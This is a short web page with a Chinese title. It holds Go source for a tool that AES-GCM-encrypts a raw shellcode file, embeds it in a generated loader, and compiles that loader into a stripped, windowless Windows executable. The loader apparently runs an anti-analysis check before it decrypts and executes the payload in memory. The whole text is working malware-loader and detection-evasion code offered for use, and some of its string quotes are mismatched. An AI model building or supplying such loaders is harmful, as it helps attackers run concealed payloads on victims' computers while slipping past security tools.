Golang AES加密Base64编码Shellcode生成工具
package main
import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "gld/detect" "gld/loader" "gld/util" "io/ioutil" "os" "os/exec" )
var template = `package main
import ( "crypto/aes" "crypto/cipher" "encoding/base64" "gld/detect" "gld/loader" "gld/util" )
func main() { if !detect.ContinueRun() { return }
key, _ := base64.StdEncoding.DecodeString('%s')
nonce, _ := base64.StdEncoding.DecodeString('%s')
buf, _ := base64.StdEncoding.DecodeString('%s')
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
aesgcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
plaintext, err := aesgcm.Open(nil, nonce, buf, nil)
if err != nil {
panic(err.Error())
}
loader.X(plaintext)
} `
const TEMP = "temp.go"
func main() { if len(os.Args) < 2 { println("./gld shellcode.bin [x64/x86]") return }
f := os.Args[1]
raw, err := ioutil.ReadFile(f)
if err != nil {
println("[!] ' + err.Error())
return
}
key := make([]byte, 32)
nonce := make([]byte, 12)
rand.Read(key)
rand.Read(nonce)
block, err := aes.NewCipher(key)
if err != nil {
println("[!] ' + err.Error())
return
}
aesgcm, err := cipher.NewGCM(block)
if err != nil {
println("[!] ' + err.Error())
return
}
raw = aesgcm.Seal(nil, nonce, raw, nil)
err = ioutil.WriteFile(
TEMP,
[]byte(fmt.Sprintf(
template,
base64.StdEncoding.EncodeToString(key),
base64.StdEncoding.EncodeToString(nonce),
base64.StdEncoding.EncodeToString(raw))),
0777,
)
if err != nil {
println("[!] Generate fail: ' + err.Error())
return
}
println("[*] Generate template")
var arch string
if len(os.Args) > 2 {
arch = os.Args[2]
} else {
arch = "x64"
}
var output string
switch arch {
case "x64":
os.Setenv("GOARCH", "amd64")
output = "x64.exe"
case "x86":
os.Setenv("GOARCH", "386")
output = "x86.exe"
default:
println("[!] Unknown arch")
return
}
println("[*] Compiling ' + output)
err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", output, TEMP).Run()
if err != nil {
println("[!] Compile fail: ' + err.Error())
return
}
println("[+] Generate successfully -> ' + output)
}
原文地址: https://www.cveoy.top/t/topic/lPeW 著作权归作者所有。请勿转载和采集!